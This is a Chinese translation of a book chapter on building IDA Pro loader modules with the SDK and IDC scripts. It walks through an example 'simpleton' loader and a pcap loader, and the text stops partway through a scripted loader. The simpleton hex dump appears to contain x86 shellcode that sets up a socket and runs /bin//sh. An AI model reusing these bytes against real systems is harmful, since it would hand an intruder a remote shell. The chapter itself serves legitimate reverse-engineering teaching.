^([129]) 请参阅[`www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx`](http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx)(需要接受 EULA)。

^([130]) 请参阅使用标准结构中的使用标准结构,以讨论在 IDA 中添加这些结构类型。

^([131]) 对齐描述了数据块的开始地址或偏移量。地址或偏移量必须是对齐值的偶数倍。例如,当数据对齐到`200h-`(`512-`)字节边界时,它必须从可以整除`200h`的地址(或偏移量)开始。

# IDA 加载模块

IDA 依赖于加载模块来执行创建新数据库初始布局的繁重工作。当用户选择打开新文件时,会使用加载模块,其任务是读取输入文件到新创建的数据库中,根据输入文件的结构创建部分,并在将控制权传递给处理器模块之前,通常组织数据库的布局。处理器模块的任务是执行任何与反汇编相关的任务。一旦创建了一个数据库,IDA 可能会调用原始加载模块中的特殊函数,以处理数据库段移动并生成 EXE 文件(文件 ▸ 生成文件 ▸ 创建 EXE 文件)。

加载过程开始于用户选择打开新文件时(加载模块不用于加载现有数据库)。像插件一样,加载模块可以使用 IDA SDK 构建为共享库组件。加载模块是 IDA 的第一个可以使用脚本实现的扩展模块(在 IDA 5.6 中引入)。

选择新二进制文件后,IDA 以动态库的形式加载*<IDADIR>/loaders*目录中的每个加载模块,并要求每个模块检查二进制文件。所有识别新文件格式的加载模块都会列在文件加载对话框中,用户需要决定使用哪个加载模块来加载文件。

# 使用 SDK 编写 IDA 加载模块

IDA 与任何加载模块的主要接口是通过每个加载模块必须声明和导出的全局`loader_t`对象。`loader_t`结构类似于插件模块中使用的`plugin_t`类。以下列表显示了在*loader.hpp*中定义的`loader_t`结构的布局。

struct loader_t {
ulong version; // api version, should be IDP_INTERFACE_VERSION
ulong flags; // loader flags

//check input file format. if recognized,
int (idaapi *accept_file)(linput_t *li,
char fileformatname[MAX_FILE_FORMAT_NAME],
int n);
//load file into the database.
void (idaapi *load_file)(linput_t *li, ushort neflags,
const char *fileformatname);

//create output file from the database, this function may be absent.
int (idaapi *save_file)(FILE *fp, const char *fileformatname);

//take care of a moved segment (fix up relocations, for example)
//this function may be absent.
int (idaapi *move_segm)(ea_t from, ea_t to, asize_t size,
const char *fileformatname);

//initialize user configurable options based on the input file.
//Called only when loading is done via File->New, not File->Open
//this function may be absent.
bool (idaapi *init_loader_options)(linput_t *li);
};


与`plugin_t`类一样,`loader_t`对象的行为由指向其成员的函数(由加载器的作者创建)定义。每个加载器都必须导出一个名为`LDSC`(*加载器描述*)的`loader_t`对象。导出`LDSC`对象由`loader.hpp`处理,您只需负责声明和初始化实际对象。请注意,一些函数接受类型为`linput_t`(*加载器输入类型*)的输入参数。`linput_t`是一个内部 SDK 类,它为 C 标准的`FILE`类型提供了一个编译器无关的包装。实现`linput_t`标准输入操作的函数在`diskio.hpp`中声明。

由于成功创建加载器依赖于正确初始化`LDSC`对象,因此每个成员的用途在此描述:

**`version`**

此成员与`plugin_t`类的`version`成员具有相同的作用。请参阅第十七章中的描述。

**`flags`**

加载器唯一识别的标志是`LDRF_RELOAD`,它在`loader.hpp`中定义。对于许多加载器,将此字段设置为 0 将足够。

**`accept_file`**

此函数的目的是提供对新选定的输入文件的基本识别。此函数应使用提供的`linput_t`对象从文件中读取足够的信息以确定加载器是否可以解析给定的文件。如果文件被识别,加载器应将文件格式名称复制到`fileformatname`输出缓冲区。如果文件格式不被识别,则函数应返回 0;如果格式被识别,则返回非零值。将返回值与`ACCEPT_FIRST`标志进行`OR`操作将请求 IDA 在加载文件对话框中将此加载器列为首选。当多个加载器指示`ACCEPT_FIRST`时,最后查询的加载器将被列为首选。

**`load_file`**

此成员是另一个函数指针。如果用户选择您的加载器来加载新选定的文件,IDA 将调用关联的函数。该函数接收一个`linput_t`对象,该对象应用于读取选定的文件。`neflags`参数包含在`loader.hpp`中定义的`NEF_`*`XXX`*标志的位或。这些标志中的几个反映了加载文件对话框中各种复选框设置的状态。`load_file`函数负责对输入文件内容进行任何必要的解析,并将某些或全部文件内容加载和映射到新创建的数据库中。如果识别到不可恢复的错误条件,`load_file`应调用`loader_failure`以终止加载过程。

**`save_file`**

此成员可选地指向一个函数,该函数能够响应文件▸生成文件▸创建 EXE 文件命令生成可执行文件。严格来说,这里的 EXE 使用有点名不副实,因为你的`save_file`实现可以选择生成你想要的任何类型的文件。由于加载器负责将文件映射到数据库中,它也可能具有将数据库映射回文件的能力。在实践中,加载器可能没有从原始输入文件中加载足够的信息,无法仅根据数据库内容生成有效的输出文件。例如,与 IDA 一起提供的 PE 文件加载器无法从数据库文件重新生成 EXE 文件。如果你的加载器无法生成输出文件,那么你应该将`save_file`成员设置为 NULL。

**`move_segm`**

此成员是指向一个函数的指针,当用户尝试使用此加载器加载的数据库中的段移动时,将调用该函数。由于加载器可能了解原始二进制中包含的重定位信息,因此该函数在移动段时可能能够考虑重定位信息。此函数是可选的,如果不需要该函数(例如,在此文件格式中没有重定位或修复的地址),则应将指针设置为 NULL。

**`init_loader_options`**

此成员是指向一个函数的指针,该函数的目的是通过文件▸新建中可用的向导基础加载过程设置用户指定的选项。此函数仅在 Windows 原生 GUI 版本的 IDA(idag)中很有用,因为这是唯一提供这些向导的 IDA 版本。在用户选择加载器并在调用`load_file`之前,将调用此函数。如果加载器在调用`load_file`之前不需要配置,则可以将此成员指针安全地设置为 NULL。

`init_loader_options`函数值得进一步解释。重要的是要理解,如果使用文件▸打开来打开文件,此函数将不会被调用。在更复杂的加载器中,例如 IDA 的 PE 加载器,此函数用于初始化基于 XML 的向导,引导用户完成加载过程。几个向导的 XML 模板存储在`<IDADIR>/cfg`中;然而,除了现有的模板外,没有关于创建自己的向导模板的文档。

在本章的剩余部分,我们将开发两个示例加载器,以回顾一些常用的加载器操作。

## 简单加载器

为了演示 IDA 加载器的基本操作,我们引入了一个完全虚构的*简单*文件格式,该格式由以下 C 结构定义(所有值都是小端序):

struct simpleton {
uint32_t magic; //simpleton magic number: 0x1DAB00C
uint32_t size; //size of the code array
uint32_t base; //base virtual address and entry point
uint8_t code[size]; //the actual program code
};


文件格式非常简单:一个魔数文件标识符和两个描述文件结构的整数,然后是文件中包含的所有代码。文件的执行从`code`块中的第一个字节开始。

一个小型简单文件的反转十六进制可能看起来像这样:

0000000: 0cb0 da01 4900 0000 0040 0000 31c0 5050 ....I....@..1.PP
0000010: 89e7 6a10 5457 50b0 f350 cd91 5859 4151 ..j.TWP..P..XYAQ
0000020: 50cd 9166 817f 0213 8875 f16a 3e6a 025b P..f.....u.j>j.[
0000030: 5853 6a09 516a 3ecd 914b 79f4 5068 6e2f XSj.Qj>..Ky.Ph//
0000040: 7368 682f 2f62 6989 e350 5389 e150 5153 shh/bin..PS..PQS
0000050: b03b 50cd 91 .;P..


SDK 中包含了一些示例加载器,可以在 *<SDKDIR>/ldr* 目录中找到。我们选择在示例加载器旁边的单独子目录中构建我们的加载器。在这种情况下,我们在 *<SDKDIR>/ldr/simpleton* 中工作。我们的加载器从以下设置开始:

include "../idaldr.h"

define SIMPLETON_MAGIC 0x1DAB00C

struct simpleton {
uint32_t magic; //simpleton magic number: 0x1DAB00C
uint32_t size; //size of the code array
uint32_t base; //base virtual address and entry point
};


`idaldr.h` 头文件是一个便利文件,包含在 SDK 中(*<SDKDIR>/ldr/idaldr.h*),它包含几个其他头文件并定义了几个宏,所有这些在加载器模块中都是常用的。

下一步要做的事情是声明所需的 `LDSC` 对象,它指向实现我们加载器行为的各种函数:

int idaapi accept_simpleton_file(linput_t *, char[MAX_FILE_FORMAT_NAME], int);
void idaapi load_simpleton_file(linput_t *, ushort, const char *);
int idaapi save_simpleton_file(FILE *, const char *);

loader_t LDSC = {
IDP_INTERFACE_VERSION,
0, // loader flags
accept_simpleton_file, // test simpleton format.
load_simpleton_file, // load file into the database.
save_simpleton_file, // simpleton is an easy format to save
NULL, // no special handling for moved segments
NULL, // no special handling for File->New
};


在此加载器中使用的函数按它们可能被调用的顺序描述,首先是下面所示的 `accept_simpleton_loader` 函数:

int idaapi accept_simpleton_file(linput_t *li,
char fileformatname[MAX_FILE_FORMAT_NAME], int n) {
uint32 magic;
if (n || lread4bytes(li, &magic, false)) return 0;
if (magic != SIMPLETON_MAGIC) return 0; //bad magic number found
qsnprintf(fileformatname, MAX_FILE_FORMAT_NAME, "Simpleton Executable");
return 1; //simpleton format recognized
}


此函数的整个目的是确定正在打开的文件是否看起来像是一个简单文件。`n` 参数是一个计数器,指示在当前加载过程中我们的 `accept_file` 函数被调用的次数。此参数的目的是允许加载器识别多个相关文件格式。IDA 将使用递增的 `n` 值调用你的 `accept_file` 函数,直到你的函数返回 0。对于你的加载器识别的每个唯一格式,你应该填写 `fileformatname` 数组并返回非零值。在这种情况下,我们选择忽略除了第一次调用(当 `n` 为零时)之外的所有内容,通过立即返回 0。定义在 *diskio.hpp* 中的 `lread4bytes` 函数用于读取 4 字节魔数,如果读取成功则返回 0。`lread4bytes` 的一个有用特性是它能够根据其布尔第三个参数的值(`false` 读取小端;`true` 读取大端)以大端或小端格式读取字节。这个特性可以帮助减少在加载过程中所需的字节交换函数的调用次数。如果在 `accept_simpleton_file` 中找到了所需的魔数,那么此函数的最终步骤是在返回 1 以指示已识别文件格式之前,将文件格式的名称复制到 `fileformatname` 输出参数中。

对于简单加载器,如果用户选择使用 File ▸ New 而不是 File ▸ Open 来加载简单文件,则不需要进行特殊处理,因此不需要 `init_loader_options` 函数。因此,加载序列中下一个调用的函数将是 `load_simpleton_file`,如下所示:

void idaapi load_simpleton_file(linput_t *li, ushort neflags, const char *) {
simpleton hdr;
//read the program header from the input file
lread(li, &hdr, sizeof(simpleton));
//load file content into the database
file2base(li, sizeof(simpleton), hdr.base, hdr.base + hdr.size,
FILEREG_PATCHABLE);
//create a segment around the file's code section
if (!add_segm(0, hdr.base, hdr.base + hdr.size, NAME_CODE, CLASS_CODE)) {
loader_failure();
}
//retrieve a handle to the new segment
segment_t *s = getseg(hdr.base);
//so that we can set 32 bit addressing mode on (x86 has 16 or 32 bit modes)
set_segm_addressing(s, 1); //set 32 bit addressing
//tell IDA to create the file header comment for us. Do this
//only once. This comment contains license, MD5,
// and original input file name information.
create_filename_cmt();
//Add an entry point so that the processor module knows at least one
//address that contains code. This is the root of the recursive descent
//disassembly process
add_entry(hdr.base, hdr.base, "_start", true);
}


加载过程的大部分工作发生在加载器的 `load_file` 函数中。我们的简单加载器执行以下任务:

1.  使用来自 *diskio.hpp* 的 `lread` 函数从文件中读取简单文件头。

1.  使用来自 *loader.hpp* 的 `file2base` 将文件中的代码部分加载到数据库中的适当地址空间。

1.  使用来自 *segment.hpp* 的 `add_segm` 创建包含新加载字节的新的数据库段。

1.  通过调用来自 *segment.hpp* 的 `getseg` 和 `set_segm_addressing` 在我们的新代码段上指定 32 位寻址。

1.  使用来自 *loader.hpp* 的 `create_filename_cmt` 生成数据库头注释。

1.  使用来自 *entry.hpp* 的 `add_entry` 添加程序入口点,为处理器模块提供反汇编过程的起点。

`file2base` 函数是加载器的一个工作马函数。其原型如下:

int ida_export file2base(linput_t *li, long pos, ea_t ea1, ea_t ea2, int patchable);


此函数从提供的 `linput_t` 读取字节,从由 `pos` 指定的文件位置开始。字节从地址 `ea1` 开始加载到数据库中,直到但不包括 `ea2`。读取的字节总数计算为 `ea2-ea1`。`patchable` 参数指示 IDA 是否应维护文件偏移量与其在数据库中对应位置的内部分配。为了维护此类分配,此参数应设置为 `FILEREG_PATCHABLE`,这允许生成 IDA DIF 文件,如第十四章所述。

`add_entry` 函数是加载过程中另一个重要的函数。反汇编过程只能从已知包含指令的地址开始。对于递归下降反汇编器,这些地址通常是通过解析文件以获取入口点(例如导出函数)来获得的。`add_entry` 函数的原型如下:

bool ida_export add_entry(uval_t ord, ea_t ea, const char *name, bool makecode);


`ord` 参数对于可能通过序号而不是函数名导出的导出函数很有用。如果入口点没有关联的序号,则 `ord` 应设置为与 `ea` 参数相同的值。`ea` 参数指定入口点的有效地址,而 `name` 参数指定与入口点关联的名称。符号名称 `_start` 通常应用于程序的初始执行地址。布尔参数 `makecode` 指定指定的地址是否要被视为代码(true)或不是(false)。导出数据项,如加载模块中的 `LDSC`,是非代码入口点的示例。

我们在简单加载器中实现的最后一个函数 `save_simpleton_file` 用于从数据库内容创建简单文件。我们的实现如下:

int idaapi save_simpleton_file(FILE *fp, const char *fileformatname) {
uint32 magic = SIMPLETON_MAGIC;
if (fp == NULL) return 1; //special case, success means we can save files
segment_t *s = getnseg(0); //get segment zero, the one and only segment
if (s) {
uint32 sz = s->endEA - s->startEA; //compute the segment size
qfwrite(fp, &magic, sizeof(uint32)); //write the magic value
qfwrite(fp, &sz, sizeof(uint32)); //write the segment size
qfwrite(fp, &s->startEA, sizeof(uint32)); //write the base address
base2file(fp, sizeof(simpleton), s->startEA, s->endEA); //dump the segment
return 1; //return success
}
else {
return 0; //return failure
}
}


`loader_t` 的 `save_file` 函数接收一个 `FILE` 流指针 `fp`,该函数应该将输出写入此指针。`fileformatname` 参数是加载器的 `accept_file` 函数填写的相同名称。如前所述,`save_file` 函数是在响应 IDA 的文件 ▸ 生成文件 ▸ 创建 EXE 文件命令时被调用的。响应此命令时,IDA 首先使用 `fp` 设置为 NULL 调用 `save_file`。以这种方式调用时,`save_file` 正在被查询是否可以生成由 `fileformatname` 指定的输出文件类型,在这种情况下,如果无法创建指定的文件类型,`save_file` 应返回 0;如果可以创建指定的文件,则返回 1。例如,加载器可能只有在数据库中存在特定信息时才能创建有效的输出文件。

当使用有效的(非 NULL)`FILE` 指针调用时,`save_file` 应将有效的输出文件表示写入提供的 `FILE` 流。在这种情况下,IDA 在向用户展示文件保存对话框后创建 `FILE` 流。

IDA 和 FILE 指针

如果你为 IDA 的 Windows 版本开发模块,IDA `FILE` 流的行为的一个重要方面在 `fpro.h` 中被指出,并源于 IDA 的核心 DLL,`ida_wll.dll`,是使用 Borland 工具构建的。简而言之,Borland `FILE` 指针可能不能在程序模块之间共享,并且尝试这样做很可能会导致访问违规,甚至可能使 IDA 崩溃。为了解决这个问题,IDA 提供了一组完整的包装函数,形式为 `qfxxx`(例如在 `fpro.h` 中声明的 `qfprintf`),作为标准 C 风格 `FILE` 操作例程(例如 `fprintf`)的替代。然而,在使用这些函数时,必须小心,因为 `qfxxx` 函数并不总是使用与它们的 C 风格对应函数相同的参数(例如,`qfwrite` 和 `fwrite`)。如果你希望使用 C 风格的 `FILE` 操作函数,你必须记住以下规则:

+   在将 `fpro.h` 包含到你的模块中之前,你必须定义 `USE_STANDARD_FILE_FUNCTIONS` 宏。

+   你绝对不能将 IDA 提供的 `FILE` 指针与 C 库的 `FILE` 函数混合使用。

+   你不能将来自 C 库函数的 `FILE` 指针与 IDA 的 `qfxxx` 函数混合使用。

返回到 `save_simpleton_file` 函数,在实现我们的 `save_file` 功能时使用的唯一真正有趣的函数是 `base2file` 函数,它是 `load_simpleton_file` 中使用的 `file2base` 函数的输出对应函数。`base2file` 函数简单地将一系列数据库值写入提供的 `FILE` 流的指定位置。

虽然简单的文件格式几乎无用,但它确实有一个用途,即它使我们能够展示 IDA 加载模块的核心功能。简单加载器的源代码可以在本书的网站上找到。

## 构建 IDA 加载模块

构建和安装 IDA 加载器模块的过程几乎与第十七章中讨论的构建 IDA 插件模块的过程相同,只有一些细微的差异。首先,用于加载器的文件扩展名在 Windows 上是 *.ldw/.l64*,在 Linux 平台上是 *.llx/.llx64*,在 OS X 上是 *.lmc/.lmc64*。其次,这是一个个人偏好的问题,但当我们构建加载器时,我们将新创建的加载器二进制文件存储在 *<SDKDIR>/bin/loaders* 中。第三,通过将编译好的加载器二进制文件复制到 *<IDADIR>/loaders* 来安装加载器模块。在 示例 17-1 中提供的插件 makefile 可以很容易地修改为构建 simpleton 加载器,只需将 `PLUGIN_EXT` 变量更改为 `LOADER_EXT` 变量,以反映每个 IDA 平台适当的加载器文件扩展名,将所有对 `idabook_plugin` 的引用更改为 `simpleton`,并将 `OUTDIR` 变量更改为指向 `$(IDA)/bin/loaders`。

## IDA 的 pcap 加载器

当然,大多数网络数据包不包含可反汇编的代码。然而,如果数据包恰好包含漏洞利用的证据,数据包可能包含可能需要反汇编以进行适当分析的二进制代码。为了证明 IDA 加载器可用于许多用途,我们现在描述了一个能够将 pcap^([132])格式数据包捕获文件加载到 IDA 数据库中的加载器构建过程。虽然这可能有些过分,但在过程中,我们将展示 IDA SDK 的更多功能。这里没有尝试以任何方式匹配 Wireshark^([133])等工具的功能。

这样的加载器开发过程需要对 pcap 文件格式进行一些研究,这揭示了 pcap 文件是以以下粗略语法构建的:

pcap_file: pcap_file_header (pcap_packet)*
pcap_packet: pcap_packet_header pcap_content
pcap_content: (byte)+


`pcap_file_header` 包含一个 32 位魔数字段,以及其他描述文件内容的字段,包括文件中包含的数据包类型。为了简化,我们假设这里只处理 `DLT_EN10MB`(10Mb 以太网数据包)。在开发 pcap 加载器时,我们的目标之一是尽可能多地识别头部数据,以便帮助用户专注于数据包内容,尤其是在应用层。我们实现这一目标的方法是(1)通过为每个文件头部和包数据创建单独的段来分离文件头部和包数据,(2)尽可能多地识别与包段相关的头部结构,以便用户不需要手动解析文件内容。以下讨论仅关注 pcap 加载器的 `load_file` 组件,因为 `accept_file` 函数是对 `accept_simpleton_file` 函数的简单修改,改为识别 pcap 魔数。

为了突出显示头结构,在加载阶段我们需要在 IDA 结构窗口中定义一些常用结构。这允许加载器在已知这些字节的类型时自动将字节组格式化为结构。Pcap 头结构以及描述以太网、IP、TCP 和 UDP 头的各种网络相关结构定义在 IDA 的 GNU C++ Unix 类型库中;然而,在 IDA 5.3 之前的版本中,IP 头结构(`iphdr`)的定义是不正确的。`load_pcap_file` 执行的第一个步骤是调用我们编写的辅助函数 `add_types`,以处理将结构导入新数据库。我们检查了 `add_types` 的两种可能版本,一个版本利用了 IDA 的 GNU C++ Unix 类型库中声明的类型,另一个版本中 `add_types` 自行处理所有必需的结构声明。

第一版本的 `add_types` 首先加载 GNU C++ Unix 类型库,然后从新加载的类型库中提取类型标识符。这里展示了 `add_types` 的这个版本:

void add_types() {

ifdef ADDTIL_DEFAULT

add_til2("gnuunx.til", ADDTIL_SILENT);

else

add_til("gnuunx.til");

endif

pcap_hdr_struct = til2idb(-1, "pcap_file_header");
pkthdr_struct = til2idb(-1, "pcap_pkthdr");
ether_struct = til2idb(-1, "ether_header");
ip_struct = til2idb(-1, "iphdr");
tcp_struct = til2idb(-1, "tcphdr");
udp_struct = til2idb(-1, "udphdr");
}


在 *typinf.hpp* 中定义的 `add_til` 函数用于将现有的类型库文件加载到数据库中。随着 IDA 版本 5.1 的引入,`add_til` 函数已被弃用,转而使用 `add_til2`。这些函数是 SDK 中使用类型窗口(在第八章中讨论)加载 *.til* 文件的等效函数。一旦类型库被加载,就可以使用 `til2idb` 函数将单个类型导入当前数据库。这是在加载过程中向结构窗口添加标准结构的程序等效操作,这也在第八章中有所描述。`til2idb` 函数返回一个类型标识符,在我们要将一系列字节转换为特定结构化数据类型时是必需的。我们选择将这些类型标识符保存到全局变量(每个都是 `tid_t` 类型)中,以便在加载过程中后续更快地访问类型。

这种 `add_types` 第一版本的缺点是我们需要导入整个类型库才能访问六个数据类型,并且如前所述,内置的 IDA 结构定义可能是不正确的,这会导致我们在加载过程中尝试应用这些结构时出现问题。

`add_types` 的第二版本展示了通过解析实际的 C 风格结构声明动态构建类型库的过程。这里展示了这个版本:

void add_types() {
til_t *t = new_til("pcap.til", "pcap header types"); //empty type library
parse_decls(t, pcap_types, NULL, HTI_PAK1); //parse C declarations into library
sort_til(t); //required after til is modified
pcap_hdr_struct = import_type(t, −1, "pcap_file_header");
pkthdr_struct = import_type(t, −1, "pcap_pkthdr");
ether_struct = import_type(t, −1, "ether_header");
ip_struct = import_type(t, −1, "iphdr");
tcp_struct = import_type(t, −1, "tcphdr");
udp_struct = import_type(t, −1, "udphdr");
free_til(t); //free the temporary library
}


在这种情况下,使用 `new_til` 函数创建了一个临时、空白的类型库。新的类型库通过解析包含加载器所需类型的有效 C 结构定义的字符串(`pcap_types`)来填充。`pcap_types` 字符串的前几行如下所示:

char *pcap_types =
"struct pcap_file_header {\n"
"int magic;\n"
"short version_major;\n"
"short version_minor;\n"
"int thiszone;\n"
"int sigfigs;\n"
"int snaplen;\n"
"int linktype;\n"
"};\n"
...


`pcap_types`的声明继续进行,包括 pcap 加载器所需的所有结构体的定义。为了简化解析过程,我们选择将结构定义中使用的所有数据声明更改为使用标准 C 数据类型。

`HTI_PAK1`常量在`typeinf.hpp`中定义,是许多`HTI_`*`XXX`*值之一,这些值可以用来控制内部 C 解析器的行为。在这种情况下,请求在 1 字节边界上进行结构打包。修改后,预期将使用`sort_til`对类型库进行排序,此时它就准备好使用了。`import_type`函数以类似于`til2idb`的方式,从指定的类型库中将请求的结构类型拉入数据库。在这个版本中,我们再次将返回的类型标识符保存到全局变量中,以便在加载过程中稍后使用。该函数通过使用`free_til`函数删除临时类型库来完成,以释放类型库消耗的内存。在这个版本的`add_types`中,与第一个版本不同,我们对要导入数据库的数据类型有完全的控制权,我们不需要导入整个结构库,因为我们没有打算使用这些结构。

作为补充,使用`store_til`函数(应该在调用`compact_til`之前)也可以将临时类型库文件保存到磁盘上。由于要构建的类型很少,在这种情况下这几乎没有好处,因为每次加载器执行时构建结构体和构建并分发一个特殊用途的类型库一样容易,而这个特殊用途的类型库必须正确安装,最终并没有节省多少时间。

将注意力转向`load_pcap_file`函数,我们可以看到对`add_types`的调用,用于初始化数据类型,正如之前所讨论的;接着创建文件注释;然后是将 pcap 文件头加载到数据库中,围绕头部字节创建一个部分,并将头部字节转换成`pcap_file_header`结构:

void idaapi load_pcap_file(linput_t *li, ushort, const char *) {
ssize_t len;
pcap_pkthdr pkt;

add_types(); //add structure templates to database
create_filename_cmt(); //create the main file header comment
//load the pcap file header from the database into the file
file2base(li, 0, 0, sizeof(pcap_file_header), FILEREG_PATCHABLE);
//try to add a new data segment to contain the file header bytes
if (!add_segm(0, 0, sizeof(pcap_file_header), ".file_header", CLASS_DATA)) {
loader_failure();
}
//convert the file header bytes into a pcap_file_header
doStruct(0, sizeof(pcap_file_header), pcap_hdr_struct);
//... continues


再次看到使用`file2base`将新打开的磁盘文件中的内容加载到数据库中。一旦 pcap 文件头内容被加载,它将在数据库中拥有自己的部分,并且使用在`bytes.hpp`中声明的`doStruct`函数将`pcap_file_header`结构应用于所有头部字节,该函数是 SDK 中使用 Edit ▸ Struct Var 将连续的字节块转换为结构的等价物。`doStruct`函数期望一个地址、一个大小和一个类型标识符,并将给定地址的 size 字节转换为指定的类型。

`load_pcap_file`函数继续读取所有数据包内容,并在数据包内容周围创建一个单独的`.packets`部分,如下所示:

//...continuation of load_pcap_file
uint32 pos = sizeof(pcap_file_header); //file position tracker
while ((len = qlread(li, &pkt, sizeof(pkt))) == sizeof(pkt)) {
mem2base(&pkt, pos, pos + sizeof(pkt), pos); //transfer header to database
pos += sizeof(pkt); //update position pointer point to packet content
//now read packet content based on number of bytes of packet that are
//present
file2base(li, pos, pos, pos + pkt.caplen, FILEREG_PATCHABLE);
pos += pkt.caplen; //update position pointer to point to next header
}
//create a new section around the packet content. This section begins where
//the pcap file header ended.
if (!add_segm(0, sizeof(pcap_file_header), pos, ".packets", CLASS_DATA)) {
loader_failure();
}
//retrieve a handle to the new segment
segment_t *s = getseg(sizeof(pcap_file_header));
//so that we can set 32 bit addressing mode on
set_segm_addressing(s, 1); //set 32 bit addressing
//...continues


在前面的代码中,`mem2base`函数是新的,用于将已加载到内存中的内容传输到数据库。

`load_pcap_file`函数通过在数据库中尽可能应用结构模板来结束。我们必须在创建段之后应用结构模板;否则,创建段的行为将移除所有应用的结构模板,从而抵消了我们所有的努力。函数的第三和最后一部分如下所示:

//...continuation of load_pcap_file
//apply headers structs for each packet in the database
for (uint32 ea = s->startEA; ea < pos;) {
uint32 pcap = ea; //start of packet
//apply pcap packet header struct
doStruct(pcap, sizeof(pcap_pkthdr), pkthdr_struct);
uint32 eth = pcap + sizeof(pcap_pkthdr);
//apply Ethernet header struct
doStruct(eth, sizeof(ether_header), ether_struct);
//Test Ethernet type field
uint16 etype = get_word(eth + 12);
etype = (etype >> 8) | (etype << 8); //htons

  if (etype == ETHER_TYPE_IP) {
     uint32 ip = eth + sizeof(ether_header);
     //Apply IP header struct
     doStruct(ip, sizeof(iphdr), ip_struct);
     //Test IP protocol
     uint8 proto = get_byte(ip + 9);
     //compute IP header length
     uint32 iphl = (get_byte(ip) & 0xF) * 4;
     if (proto == IP_PROTO_TCP) {
        doStruct(ip + iphl, sizeof(tcphdr), tcp_struct);
     }
     else if (proto == IP_PROTO_UDP) {
        doStruct(ip + iphl, sizeof(udphdr), udp_struct);
     }
  }
  //point to start of next pcak_pkthdr
  ea += get_long(pcap + 8) + sizeof(pcap_pkthdr);

}
}


前面的代码简单地遍历数据库,一次一个数据包,检查每个数据包头中的几个字段,以确定要应用的结构类型及其起始位置。以下输出表示使用 pcap 加载器加载到数据库中的 pcap 文件的前几行:

.file_header:0000 _file_header segment byte public 'DATA' use16
.file_header:0000 assume cs:_file_header
.file_header:0000 pcap_file_header <0A1B2C3D4h, 2, 4, 0, 0, 0FFFFh, 1>
.file_header:0000 _file_header ends
.file_header:0000
.packets:00000018 ; =========================================================
.packets:00000018
.packets:00000018 ; Segment type: Pure data
.packets:00000018 _packets segment byte public 'DATA' use32
.packets:00000018 assume cs:_packets
.packets:00000018 ;org 18h
.packets:00000018 pcap_pkthdr <<47DF275Fh, 1218Ah>, 19Ch, 19Ch>
.packets:00000028 db 0, 18h, 0E7h, 1, 32h, 0F5h; ether_dhost
.packets:00000028 db 0, 50h, 0BAh, 0B8h, 8Bh, 0BDh; ether_shost
.packets:00000028 dw 8 ; ether_type
.packets:00000036 iphdr <45h, 0, 8E01h, 0EE4h, 40h, 80h, 6, 9E93h,
200A8C0h, 6A00A8C0h>
.packets:0000004A tcphdr <901Fh, 2505h, 0C201E522h, 6CE04CCBh, 50h,
18h, 0E01Ah, 3D83h, 0>
.packets:0000005E db 48h ; H
.packets:0000005F db 54h ; T
.packets:00000060 db 54h ; T
.packets:00000061 db 50h ; P
.packets:00000062 db 2Fh ; /
.packets:00000063 db 31h ; 1
.packets:00000064 db 2Eh ; .
.packets:00000065 db 30h ; 0


以这种方式应用结构模板,我们可以展开和折叠任何头文件以显示或隐藏其单个成员字段。如图所示,观察地址`0000005E`的字节是 HTTP 响应数据包的第一个字节。

具备对 pcap 文件的基本加载能力为开发执行更复杂任务的插件奠定了基础,例如 TCP 流重组和各种其他形式的数据提取。可以进一步工作,以更用户友好的方式格式化各种网络相关结构,例如显示 IP 地址的可读版本,以及在每个头文件内为其他字段提供字节序显示。这样的改进留给了读者作为挑战。

* * *

^([132]) 查看 [`www.tcpdump.org/`](http://www.tcpdump.org/).

^([133]) 查看 [`www.wireshark.org/`](http://www.wireshark.org/).

# 替代加载策略

如果你花些时间浏览 SDK 中包含的示例加载器,你会发现几种不同的加载器样式。其中一个值得指出的是 Java 加载器(`<SDKDIR>/ldr/javaldr*`)。对于某些文件格式,加载器与处理模块之间的耦合非常松散。一旦加载器记录了代码的入口点,处理模块就不需要额外的信息来正确地反汇编代码。某些处理模块可能需要大量关于原始输入文件的信息,并且可能需要执行之前由加载器完成的大部分相同的解析。为了避免这种努力的重叠,加载器和处理模块可以以更紧密耦合的方式配对。实际上,Java 加载器采取的方法基本上是将所有加载任务(那些通常在加载器的`load_file`函数中进行的任务)通过类似以下代码的方式推送到处理模块:

static void load_file(linput_t *li, ushort neflag, const char *) {
if (ph.id != PLFM_JAVA) {
set_processor_type("java", SETPROC_ALL | SETPROC_FATAL);
}
if (ph.notify(ph.loader, li, (bool)(neflag & NEF_LOPT))) {
error("Internal error in loader<->module link");
}
}


在 Java 加载器中,唯一的工作是验证处理器类型是否设置为 Java 处理器,此时加载器向处理器模块发送一个 `ph.loader`(在 *idp.hpp* 中定义)通知消息,告知处理器加载阶段已经开始。接收到通知后,Java 处理器接管加载任务,并在过程中推导出大量内部状态信息,这些信息将在处理器被指示执行反汇编任务时被重用。

这种策略是否适合您完全取决于您是否正在开发加载器和相关的处理器模块,以及您是否认为处理器将从访问在加载器中传统上获取的信息(如分段、文件头字段、调试信息等)中受益。

从加载器向处理器模块传递状态信息的另一种方法涉及使用数据库 netnodes。在加载阶段,加载器可以选择用信息填充特定的 netnodes,这些信息可以在反汇编阶段由处理器模块检索。请注意,频繁访问数据库以检索以这种方式存储的信息可能比使用可用的 C++ 数据类型要慢一些。

# 编写脚本式加载器

在 IDA 5.6 中,Hex-Rays 引入了使用 Python 或 IDC 脚本实现加载器的功能。在宣布这一新功能的 Hex Blog 帖子中,^([134]) Hex-Rays 的 Elias Bachaalany 描述了一个使用 Python 实现的加载器,用于加载特定类型的恶意 *.pdf* 文件,该文件包含 shellcode。恶意 *.pdf* 文件的性质使得加载器不能泛化到所有 *.pdf* 文件,但这个加载器是 IDA 中如何加载不受支持的文件格式的优秀示例。

脚本式加载器可以采用 IDC 或 Python 实现,并且至少需要两个函数,`accept_file` 和 `load_file`,这些函数的功能与之前描述的基于 SDK 的加载器类似。这里展示了 Simpleton 文件格式的基于 IDC 的加载器示例:

include <idc.idc>

define SIMPLETON_MAGIC 0x1DAB00C

//Verify the input file format
// li - loader_input_t object. See IDA help file for more information
// n - How many times we have been called
//Returns:
// 0 - file unrecognized
// Name of file type - if file is recognized
static accept_file(li, n) {
auto magic;
if (n) return 0;
li.readbytes(&magic, 4, 0);
if (magic != SIMPLETON_MAGIC) {
return 0;
}
return "IDC Simpleton Loader";
}

//Load the file
// li - loader_input_t object
// neflags - refer to loader.hpp for valid flags
// format - The file format selected nby the user
//Returns:
// 1 - success
// 0 - failure
static load_file(li, neflags, format) {
auto magic, size, base;
li.seek(0, 0);
